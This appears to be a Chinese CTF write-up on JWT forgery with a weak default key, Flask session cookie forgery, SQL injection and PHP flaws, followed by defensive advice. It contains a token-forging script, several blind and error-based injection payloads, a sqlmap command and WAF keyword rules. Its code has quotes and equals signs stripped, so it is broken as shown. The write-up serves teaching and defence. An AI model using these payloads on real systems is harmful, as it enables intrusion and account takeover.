
1. PCTF解题报告从JWT伪造到SQL注入的实战复盘最近参加了一场PCTF网络安全竞赛遇到了几个典型的安全挑战涉及JWT伪造、Flask会话劫持和SQL注入等常见漏洞。作为安全从业者这类比赛不仅能检验技能更能发现实际开发中容易被忽视的安全隐患。下面我将详细拆解解题过程这些技术同样适用于企业级安全防护。2. JWT安全漏洞分析与利用2.1 JWT基础结构解析JSON Web Token由三部分组成通过点号分隔Header声明令牌类型和签名算法如HS256、RS256Payload包含声明claims如用户ID、过期时间等Signature对前两部分的签名验证典型漏洞场景是当服务端使用弱密钥或未验证签名算法时攻击者可伪造任意身份。比赛中遇到的题目正是使用了默认密钥secret的HS256算法。2.2 实战伪造过程使用jwt.io在线工具解码获取的token修改payload中的admin字段为true用已知密钥重新签名已知密钥为secret时替换原token发送请求# Python示例代码 import jwt original_token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9.7ZJQ7yFZQYw7z3X3j3X3j3X3j3X3j3X3j3X3j3X3j3X3 payload jwt.decode(original_token, verifyFalse) payload[admin] True new_token jwt.encode(payload, secret, algorithmHS256)关键点生产环境必须使用强密钥推荐32字节以上随机字符串并定期轮换禁用none算法3. Flask会话伪造技术剖析3.1 Flask会话机制安全缺陷Flask的session cookie使用以下结构序列化会话数据默认pickle使用密钥签名防止篡改但可读不加密存储内容可被解码通过flask_session_cookie_manager3工具可解码和伪造python3 flask_session_cookie_manager3.py decode -c cookie -s weaksecret3.2 防护方案对比方案优点缺点强密钥简单有效密钥泄露风险会话存储服务端最安全需要额外基础设施定期过期限制攻击窗口影响用户体验绑定用户指纹防止会话劫持可能产生误判4. SQL注入全链路攻防4.1 常见注入类型实战比赛中出现的几种注入场景布尔盲注admin AND (SELECT SUBSTRING(password,1,1) FROM users WHERE usernameadmin)a--时间盲注1 UNION SELECT IF(SUBSTRING(database(),1,1)a,sleep(3),0),2,3--报错注入1 AND ExtractValue(1, CONCAT(0x5c,(SELECT database())))--4.2 防御方案深度优化参数化查询以Python为例# 错误示范 cursor.execute(SELECT * FROM users WHERE username %s % username) # 正确做法 cursor.execute(SELECT * FROM users WHERE username %s, (username,))ORM安全实践MyBatis严格使用#{}而非${}Django ORM避免使用extra()等原生SQL方法Laravel的Eloquent禁用raw queryWAF规则配置示例location / { # 拦截常见SQL注入特征 if ($args ~* union.*select) { return 403; } if ($request_uri ~* (\|\)(.*)(drop|alter|truncate)) { return 403; } }5. PHP安全特例分析5.1 典型漏洞模式动态包含漏洞// 危险代码 include($_GET[page]..php); // 修复方案 $allowed [home,about,contact]; if(in_array($_GET[page], $allowed)) { include($_GET[page]..php); }反序列化漏洞// 危险操作 unserialize($_COOKIE[data]); // 安全建议 使用json_encode/json_decode替代序列化5.2 ThinkPHP框架加固针对比赛中遇到的ThinkPHP3.2.3漏洞及时升级到最新安全版本关闭DEBUG模式过滤输入参数I(get.id,0,intval); // 强制转换为整数6. 防御体系构建建议6.1 分层防护策略层级防护措施实施示例网络层WAF配置正则过滤注入特征系统层权限最小化数据库账户只读权限应用层安全编码参数化查询输入验证数据层加密存储敏感字段AES加密监控层日志审计SQL语句异常检测6.2 安全开发生命周期设计阶段威胁建模STRIDE方法安全架构评审开发阶段使用安全编码规范静态代码扫描SonarQube等测试阶段渗透测试Burp Suite自动化模糊测试SQLMap等工具运维阶段实时监控ELK日志分析应急响应预案7. CTF实战经验总结信息收集技巧检查robots.txt和.git目录分析HTTP头Server/X-Powered-By尝试常见备份文件index.php.bak等工具链优化配置# SQLMap高效使用技巧 sqlmap -u http://target.com?id1 --batch --smart --level3 --risk3 --tamperspace2comment调试技巧PHP错误开启ini_set(display_errors, 1); error_reporting(E_ALL);Python Flask调试模式app.run(debugTrue) # 仅限开发环境在真实业务系统中建议建立SDL安全开发生命周期流程将安全防护贯穿从需求分析到运维监控的全过程。对于关键业务接口应当实施二次认证和请求签名机制。我在金融行业实践中发现结合行为分析的动态防护往往比静态规则更有效比如检测异常查询模式短时间内大量分页查询等。